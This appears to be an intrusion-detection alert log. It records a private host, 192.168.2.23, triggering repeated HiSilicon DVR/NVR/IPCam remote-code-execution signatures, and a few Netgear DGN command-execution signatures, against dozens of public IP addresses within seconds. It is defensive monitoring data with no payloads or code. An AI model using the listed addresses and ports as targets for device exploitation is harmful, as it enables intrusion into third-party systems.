Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 39.165.241.46

Timestamp:	05/16/24-16:38:53.066972
SID:	2030487
Source Port:	33970
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 39.165.241.46

Timestamp:	05/16/24-16:38:53.066972
SID:	2030488
Source Port:	33970
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 144.225.86.36

Timestamp:	05/16/24-16:39:12.304173
SID:	2030487
Source Port:	44756
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 144.225.86.36

Timestamp:	05/16/24-16:39:12.304173
SID:	2030488
Source Port:	44756
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 122.32.137.89

Timestamp:	05/16/24-16:38:59.590304
SID:	2030487
Source Port:	37758
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 122.32.137.89

Timestamp:	05/16/24-16:38:59.590304
SID:	2030488
Source Port:	37758
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 193.159.246.168

Timestamp:	05/16/24-16:39:05.706160
SID:	2030488
Source Port:	48918
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 193.159.246.168

Timestamp:	05/16/24-16:39:05.706160
SID:	2030487
Source Port:	48918
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 27.65.101.27

Timestamp:	05/16/24-16:39:02.725512
SID:	2030487
Source Port:	49928
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 27.65.101.27

Timestamp:	05/16/24-16:39:02.725512
SID:	2030488
Source Port:	49928
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 179.175.99.67

Timestamp:	05/16/24-16:39:05.717201
SID:	2030488
Source Port:	37826
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 179.175.99.67

Timestamp:	05/16/24-16:39:05.717201
SID:	2030487
Source Port:	37826
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 49.114.21.235

Timestamp:	05/16/24-16:39:14.511921
SID:	2030488
Source Port:	52630
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 74.172.228.181

Timestamp:	05/16/24-16:39:16.599074
SID:	2030487
Source Port:	54996
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 49.114.21.235

Timestamp:	05/16/24-16:39:14.511921
SID:	2030487
Source Port:	52630
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 198.89.126.74

Timestamp:	05/16/24-16:39:14.518773
SID:	2030488
Source Port:	43254
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 74.172.228.181

Timestamp:	05/16/24-16:39:16.599074
SID:	2030488
Source Port:	54996
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 198.89.126.74

Timestamp:	05/16/24-16:39:14.518773
SID:	2030487
Source Port:	43254
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 208.116.96.241

Timestamp:	05/16/24-16:39:02.744313
SID:	2030487
Source Port:	57040
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 189.103.202.209

Timestamp:	05/16/24-16:38:59.604419
SID:	2030487
Source Port:	43508
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 208.116.96.241

Timestamp:	05/16/24-16:39:02.744313
SID:	2030488
Source Port:	57040
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 189.103.202.209

Timestamp:	05/16/24-16:38:59.604419
SID:	2030488
Source Port:	43508
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 150.100.148.49

Timestamp:	05/16/24-16:38:57.411445
SID:	2030487
Source Port:	49160
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 150.100.148.49

Timestamp:	05/16/24-16:38:57.411445
SID:	2030488
Source Port:	49160
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 107.20.21.97

Timestamp:	05/16/24-16:39:16.599077
SID:	2030488
Source Port:	59914
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 107.20.21.97

Timestamp:	05/16/24-16:39:16.599077
SID:	2030487
Source Port:	59914
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 160.37.212.57

Timestamp:	05/16/24-16:38:59.588239
SID:	2030487
Source Port:	57630
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 160.37.212.57

Timestamp:	05/16/24-16:38:59.588239
SID:	2030488
Source Port:	57630
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 167.105.156.171

Timestamp:	05/16/24-16:39:12.382155
SID:	2030488
Source Port:	58100
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 167.105.156.171

Timestamp:	05/16/24-16:39:12.382155
SID:	2030487
Source Port:	58100
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 179.222.180.116

Timestamp:	05/16/24-16:38:59.518422
SID:	2030487
Source Port:	53274
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 179.222.180.116

Timestamp:	05/16/24-16:38:59.518422
SID:	2030488
Source Port:	53274
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 20.76.192.153

Timestamp:	05/16/24-16:38:59.519331
SID:	2030487
Source Port:	39886
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 20.120.174.241

Timestamp:	05/16/24-16:38:50.046283
SID:	2030488
Source Port:	52680
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 20.120.174.241

Timestamp:	05/16/24-16:38:50.046283
SID:	2030487
Source Port:	52680
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 138.183.131.103

Timestamp:	05/16/24-16:38:50.081740
SID:	2030487
Source Port:	58672
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 138.183.131.103

Timestamp:	05/16/24-16:38:50.081740
SID:	2030488
Source Port:	58672
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 218.17.96.200

Timestamp:	05/16/24-16:38:50.078892
SID:	2030487
Source Port:	34660
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 218.17.96.200

Timestamp:	05/16/24-16:38:50.078892
SID:	2030488
Source Port:	34660
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 199.9.251.86

Timestamp:	05/16/24-16:38:55.193114
SID:	2030487
Source Port:	53168
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 199.9.251.86

Timestamp:	05/16/24-16:38:55.193114
SID:	2030488
Source Port:	53168
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 66.218.62.100

Timestamp:	05/16/24-16:38:57.429271
SID:	2030487
Source Port:	53032
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 66.218.62.100

Timestamp:	05/16/24-16:38:57.429271
SID:	2030488
Source Port:	53032
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 61.48.68.37

Timestamp:	05/16/24-16:39:05.704075
SID:	2030487
Source Port:	47112
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 61.48.68.37

Timestamp:	05/16/24-16:39:05.704075
SID:	2030488
Source Port:	47112
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 68.214.121.155

Timestamp:	05/16/24-16:39:02.745540
SID:	2030487
Source Port:	38130
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 68.214.121.155

Timestamp:	05/16/24-16:39:02.745540
SID:	2030488
Source Port:	38130
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 209.204.223.49

Timestamp:	05/16/24-16:39:16.609437
SID:	2030487
Source Port:	40850
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 199.40.146.214

Timestamp:	05/16/24-16:38:55.220926
SID:	2030487
Source Port:	34376
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 199.40.146.214

Timestamp:	05/16/24-16:38:55.220926
SID:	2030488
Source Port:	34376
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 20.76.192.153

Timestamp:	05/16/24-16:38:59.519331
SID:	2030488
Source Port:	39886
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 116.218.120.198

Timestamp:	05/16/24-16:39:16.602142
SID:	2030487
Source Port:	36178
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 209.204.223.49

Timestamp:	05/16/24-16:39:16.609437
SID:	2030488
Source Port:	40850
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 195.233.103.90

Timestamp:	05/16/24-16:39:14.493618
SID:	2030487
Source Port:	46844
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 116.218.120.198

Timestamp:	05/16/24-16:39:16.602142
SID:	2030488
Source Port:	36178
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 109.132.149.146

Timestamp:	05/16/24-16:38:57.304746
SID:	2030487
Source Port:	45560
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 195.233.103.90

Timestamp:	05/16/24-16:39:14.493618
SID:	2030488
Source Port:	46844
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 109.132.149.146

Timestamp:	05/16/24-16:38:57.304746
SID:	2030488
Source Port:	45560
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound - Source IP: 192.168.2.23 - Destination IP: 178.43.10.146

Timestamp:	05/16/24-16:38:49.282376
SID:	2029215
Source Port:	40108
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 76.138.138.45

Timestamp:	05/16/24-16:39:08.145192
SID:	2030488
Source Port:	59318
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 159.164.43.160

Timestamp:	05/16/24-16:39:12.301203
SID:	2030487
Source Port:	40578
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 76.138.138.45

Timestamp:	05/16/24-16:39:08.145192
SID:	2030487
Source Port:	59318
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 159.164.43.160

Timestamp:	05/16/24-16:39:12.301203
SID:	2030488
Source Port:	40578
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 189.148.134.203

Timestamp:	05/16/24-16:38:50.047560
SID:	2030487
Source Port:	37472
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 212.158.241.91

Timestamp:	05/16/24-16:39:05.699889
SID:	2030488
Source Port:	57376
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 189.148.134.203

Timestamp:	05/16/24-16:38:50.047560
SID:	2030488
Source Port:	37472
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 72.234.98.206

Timestamp:	05/16/24-16:38:57.425693
SID:	2030487
Source Port:	47918
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 212.158.241.91

Timestamp:	05/16/24-16:39:05.699889
SID:	2030487
Source Port:	57376
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 72.234.98.206

Timestamp:	05/16/24-16:38:57.425693
SID:	2030488
Source Port:	47918
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 111.221.110.98

Timestamp:	05/16/24-16:38:50.047739
SID:	2030488
Source Port:	43588
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 111.221.110.98

Timestamp:	05/16/24-16:38:50.047739
SID:	2030487
Source Port:	43588
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 110.249.227.159

Timestamp:	05/16/24-16:39:08.041239
SID:	2030487
Source Port:	47494
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 110.249.227.159

Timestamp:	05/16/24-16:39:08.041239
SID:	2030488
Source Port:	47494
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 54.157.72.27

Timestamp:	05/16/24-16:38:59.519446
SID:	2030487
Source Port:	42106
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 132.243.172.92

Timestamp:	05/16/24-16:39:08.126447
SID:	2030488
Source Port:	60782
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 54.157.72.27

Timestamp:	05/16/24-16:38:59.519446
SID:	2030488
Source Port:	42106
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 132.243.172.92

Timestamp:	05/16/24-16:39:08.126447
SID:	2030487
Source Port:	60782
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 12.26.167.86

Timestamp:	05/16/24-16:38:50.076378
SID:	2030487
Source Port:	51212
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 44.184.163.4

Timestamp:	05/16/24-16:39:03.260892
SID:	2030487
Source Port:	36794
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 44.184.163.4

Timestamp:	05/16/24-16:39:03.260892
SID:	2030488
Source Port:	36794
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 12.26.167.86

Timestamp:	05/16/24-16:38:50.076378
SID:	2030488
Source Port:	51212
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 99.163.25.158

Timestamp:	05/16/24-16:39:16.597913
SID:	2030487
Source Port:	60160
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN Remote Code Execution - Source IP: 192.168.2.23 - Destination IP: 84.237.126.186

Timestamp:	05/16/24-16:39:13.663775
SID:	2034576
Source Port:	58096
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 99.163.25.158

Timestamp:	05/16/24-16:39:16.597913
SID:	2030488
Source Port:	60160
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 4.220.127.242

Timestamp:	05/16/24-16:38:57.411446
SID:	2030488
Source Port:	47686
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 4.220.127.242

Timestamp:	05/16/24-16:38:57.411446
SID:	2030487
Source Port:	47686
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 158.91.93.196

Timestamp:	05/16/24-16:38:57.409011
SID:	2030487
Source Port:	38666
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 158.91.93.196

Timestamp:	05/16/24-16:38:57.409011
SID:	2030488
Source Port:	38666
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 145.46.132.189

Timestamp:	05/16/24-16:39:14.507459
SID:	2030488
Source Port:	56722
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 151.236.1.153

Timestamp:	05/16/24-16:39:16.602044
SID:	2030488
Source Port:	34930
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 145.46.132.189

Timestamp:	05/16/24-16:39:14.507459
SID:	2030487
Source Port:	56722
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 151.236.1.153

Timestamp:	05/16/24-16:39:16.602044
SID:	2030487
Source Port:	34930
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 23.94.202.245

Timestamp:	05/16/24-16:39:12.382801
SID:	2030488
Source Port:	50338
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 23.94.202.245

Timestamp:	05/16/24-16:39:12.382801
SID:	2030487
Source Port:	50338
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 82.106.53.20

Timestamp:	05/16/24-16:39:05.678472
SID:	2030487
Source Port:	33944
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 82.106.53.20

Timestamp:	05/16/24-16:39:05.678472
SID:	2030488
Source Port:	33944
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 38.47.104.206

Timestamp:	05/16/24-16:39:02.727969
SID:	2030488
Source Port:	56558
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 118.156.206.81

Timestamp:	05/16/24-16:39:14.514864
SID:	2030487
Source Port:	52698
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 38.47.104.206

Timestamp:	05/16/24-16:39:02.727969
